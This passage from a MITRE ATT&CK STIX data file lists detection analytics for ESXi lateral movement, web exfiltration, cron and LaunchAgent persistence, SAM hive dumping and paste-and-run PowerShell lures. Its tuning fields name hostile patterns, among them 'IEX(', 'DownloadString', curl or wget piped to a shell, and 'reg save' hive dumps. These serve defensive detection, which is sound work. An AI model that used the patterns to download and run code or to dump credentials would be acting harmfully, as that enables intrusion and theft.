            "description": "vSphere API logins (vimService) or SSH to ESXi host followed by unauthorized shell commands or lateral remote logins from the ESXi host.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
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                    "channel": "vim.fault.*, DCUI login, SSH shell"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "Command execution trace"
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            ],
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                {
                    "field": "SessionType",
                    "description": "Filter by DCUI, SSH, vSphere API"
                },
                {
                    "field": "CommandPattern",
                    "description": "Watch for remote access tool invocations (e.g., netcat, ssh)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "external_id": "AN1512"
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            ],
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            ],
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            "description": "Processes (tar, curl, python scripts) accessing large file sets and initiating outbound HTTPS POST requests with payload sizes inconsistent with baseline activity. Defender perspective: detect abnormal sequence of file archival followed by encrypted uploads to external web services.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
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            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "curl or wget with POST/PUT options"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open/read of sensitive directories (/etc, /home/*)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "sustained outbound HTTPS sessions with high data volume"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredTools",
                    "description": "Suspicious command-line utilities used for exfiltration (curl, wget, python)."
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                {
                    "field": "DataVolumeThreshold",
                    "description": "Bytes transferred threshold per session to flag unusual uploads."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8a75f571-49f8-4df8-b02c-fad2189273ee",
            "created": "2025-10-21T15:10:28.402Z",
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            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8a764f0e-4bcd-413d-bbf0-1a10cb98b598",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0290#AN0806",
                    "external_id": "AN0806"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0806",
            "description": "Detects crontab job additions or modifications via `crontab` utility or direct edits, especially those created by interactive users executing hidden or renamed scripts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "macos:unifiedlog",
                    "channel": "process: crontab edits, launch of cron job"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:fsusage",
                    "channel": "file access to /usr/lib/cron/tabs/ and cron output files"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptPath",
                    "description": "Match scheduled binary path to trusted directory baseline."
                },
                {
                    "field": "CronScheduleSyntax",
                    "description": "Flags excessive frequency or wildcard-heavy cron expressions."
                },
                {
                    "field": "InteractiveUserContext",
                    "description": "Limit cron job writes from interactive shells."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8a7a7e80-c28e-42b2-a222-c1d75932c986",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0224#AN0628",
                    "external_id": "AN0628"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0628",
            "description": "Detects anomalous use of COM objects for execution, such as Office applications spawning scripting engines, enumeration of COM interfaces via registry queries, or processes loading atypical DLLs through COM activation. Correlates process creation, module loads, and registry queries to flag suspicious COM-based code execution or persistence.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "COMObjectAllowList",
                    "description": "Legitimate COM CLSIDs and ProgIDs used by enterprise applications, to reduce false positives."
                },
                {
                    "field": "ParentProcessExclusions",
                    "description": "Expected parent-child process relationships (e.g., explorer.exe spawning dllhost.exe)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Threshold for correlating COM object execution with subsequent process creation or DLL load."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8ad0cc97-4f6e-4ea0-a930-3fdb6b0df819",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0871#AN2003",
                    "external_id": "AN2003"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2003",
            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nOnce adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da",
                    "name": "Internet Scan",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8ba0c3e2-9544-47d1-9738-757c35dc19fa",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0082#AN0230",
                    "external_id": "AN0230"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0230",
            "description": "Adversary leverages root or sudo access to alter system banners, web content directories (e.g., /var/www/html), or login configurations (/etc/issue). File creation or overwrites may coincide with suspicious script execution or cron job activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "open/write/unlink"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "linux:syslog",
                    "channel": "sudo or su access prior to content change"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetDirectories",
                    "description": "Paths like /var/www/html, /etc/issue, or /etc/motd may vary across distros"
                },
                {
                    "field": "UserContext",
                    "description": "Non-web-admin users modifying site content or banners should be rare"
                },
                {
                    "field": "TimeWindow",
                    "description": "Defacement often happens outside normal maintenance hours"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8ba8d516-486a-4347-9a48-56a312e83897",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0368#AN1035",
                    "external_id": "AN1035"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1035",
            "description": "Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=1166, 7045"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
                    "channel": "Code integrity violations in boot-start drivers or firmware"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BaselineFirmwareVersion",
                    "description": "Expected firmware/BIOS version for each hardware model."
                },
                {
                    "field": "BaselineDriverList",
                    "description": "Approved boot-start drivers."
                },
                {
                    "field": "IntegrityCheckInterval",
                    "description": "Frequency of integrity checks (e.g., daily, weekly)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8c03988c-3387-48e4-8013-7b9d223b8911",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0173#AN0489",
                    "external_id": "AN0489"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0489",
            "description": "High-frequency, repetitive service requests (e.g., HTTP, TLS renegotiation) originating from a single or small set of source IPs targeting endpoint web services or application ports, leading to exhaustion of CPU or memory on targeted Windows services.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:Application",
                    "channel": "Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "Windows:perfmon",
                    "channel": "Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Defines burst threshold (e.g., 1 min, 5 min) for connection spikes"
                },
                {
                    "field": "TargetServicePort",
                    "description": "Specific ports/services likely to be abused (e.g., 80, 443, 8080)"
                },
                {
                    "field": "CPUThreshold",
                    "description": "Level of sustained CPU usage considered anomalous for a given service"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8c0c52d0-7357-4073-84fc-d262632d268f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0095#AN0264",
                    "external_id": "AN0264"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0264",
            "description": "Adversary adds a new Outlook rule with modified or obfuscated PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER attributes using MFCMapi or Ruler. Rule is triggered when email arrives, executing embedded or external code. Mailbox audit logs or Unified Audit Log shows automated rule-triggered action without user interaction.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Creation or modification of inbox rule outside of normal user behavior"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "m365:messagetrace",
                    "channel": "Inbound email matches crafted rule trigger pattern tied to persistence logic"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AuditPolicyScope",
                    "description": "Mailbox rule changes may not be captured unless advanced audit logging is enabled"
                },
                {
                    "field": "RuleProviderName",
                    "description": "Malicious rules may use spoofed or non-standard PR_RULE_MSG_PROVIDER values"
                },
                {
                    "field": "TriggerSubjectKeywords",
                    "description": "Triggering emails may contain uncommon but benign-looking subjects"
                },
                {
                    "field": "UserContext",
                    "description": "Target user account may be inactive or high-value (e.g., VIP, service account)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8c3a43bc-dd07-4e72-a987-a2dc36e162fa",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0383#AN1077",
                    "external_id": "AN1077"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1077",
            "description": "Detects adversary behavior where a newly created or renamed user account closely resembles existing service or administrator accounts to blend in and avoid detection. Common patterns include prefix/suffix modifications, homoglyphs, or use of names like 'admin1', 'adm1n', or 'backup_help'.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4720"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "windows:osquery",
                    "channel": "User enumeration with creation/last modified timestamps"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SimilarityThreshold",
                    "description": "Defines how close in Levenshtein or visual distance an account name must be to a legitimate one to raise an alert."
                },
                {
                    "field": "MonitoredAccountList",
                    "description": "Set of known legitimate accounts to compare new account names against."
                },
                {
                    "field": "TimeWindow",
                    "description": "Period within which anomalous account creation or renaming is evaluated in relation to discovery or deletion activity."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8c64bf26-bda2-47fc-867d-bcc6a51d57a7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0401",
                    "external_id": "AN0401"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0401",
            "description": "Unexpected processes (e.g., bash, python, custom binaries) dynamically loading libcrypto or performing AES/RC4 encryption operations, then initiating outbound sessions with abnormal byte entropy or asymmetric traffic patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve or socket/connect system calls from processes using crypto libraries"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "System daemons initiating encrypted sessions with unexpected destinations"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "linux:osquery",
                    "channel": "Process linked with libcrypto.so making external connections"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TrustedCryptoLibs",
                    "description": "Baseline expected crypto libraries to suppress false positives."
                },
                {
                    "field": "TrafficAsymmetryRatio",
                    "description": "Ratio of sent/received bytes indicating possible hidden C2."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8c881d82-21c3-482c-8895-c240360eec8e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0085#AN0235",
                    "external_id": "AN0235"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0235",
            "description": "An adversary running with SYSTEM-level privileges executes commands or accesses registry keys to dump the SAM hive or directly reads sensitive local files from the config directory. This behavior often involves sequential access to HKLM\\SAM, HKLM\\SYSTEM, and creation of .save or .dmp files, enabling offline hash extraction.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=2"
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            ],
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                {
                    "field": "CommandLinePattern",
                    "description": "Detectable variations include `reg save`, `reg.exe save`, or PowerShell equivalents for dumping SAM/SYSTEM hives."
                },
                {
                    "field": "TargetFilePath",
                    "description": "Defenders can tune based on dump file path patterns (e.g., `%TEMP%\\sam.save`, `C:\\Users\\Public\\*.dmp`)."
                },
                {
                    "field": "RegistryPath",
                    "description": "Tune for HKLM\\SAM, HKLM\\SYSTEM or access via direct \\Device\\Harddisk paths."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal gap between SAM and SYSTEM hive dumping can be tuned (e.g., 3 minutes)."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Useful for suppressing known-good access (e.g., backup tools)."
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            ]
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        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8cb0a7da-942b-4771-b9d5-cf558755677a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0340#AN0962",
                    "external_id": "AN0962"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0962",
            "description": "A user is socially engineered (web page, email, document) to open Run/PowerShell/CMD and paste an obfuscated one-liner. The chain is: (1) user context active in a browser/email/office app \u2192 (2) process creation of a command interpreter with suspicious arguments (base64/Invoke-Expression/web download/pipeline to shell) \u2192 (3) optional file drop in %TEMP% or %APPDATA% \u2192 (4) outbound network connection to an external domain. Events are correlated within a short window and with consistent user/session.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation horizon from parent app (browser/email/office) to interpreter spawn (e.g., 15 minutes)."
                },
                {
                    "field": "ParentProcessAllowList",
                    "description": "Legitimate automation that spawns PowerShell/CMD from Office/Email/Browser."
                },
                {
                    "field": "SuspiciousArgPatterns",
                    "description": "List of command-line substrings indicating pasted one-liners (e.g., '-enc', 'FromBase64String', 'IEX(', 'DownloadString', 'Invoke-WebRequest', 'curl|wget.*\\|\\s*(sh|bash|powershell)')."
                },
                {
                    "field": "WritePaths",
                    "description": "Directories treated as risky for first-stage drops (%TEMP%, %APPDATA%, %PUBLIC%)."
                },
                {
                    "field": "OutboundCIDRBlockList",
                    "description": "Internet ranges/domains to alert on for first-run egress."
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8cbda989-39e6-4f9e-8e23-213f92b3479d",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0094#AN0260",
                    "external_id": "AN0260"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "name": "Analytic 0260",
            "description": "Detects creation or alteration of LaunchAgents or LaunchDaemons with corresponding plist modification followed by execution of associated binaries.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process launch"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "fs:fsusage",
                    "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "macos:osquery",
                    "channel": "launchd_jobs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PlistLabel",
                    "description": "Labels not associated with known applications or vendors."
                },
                {
                    "field": "LaunchPath",
                    "description": "Executable path outside of standard directories (/usr/bin, /Applications)."
                },
                {
                    "field": "JobRunInterval",
                    "description": "Unexpected periodic job intervals (e.g., every minute)."
                }
            ],
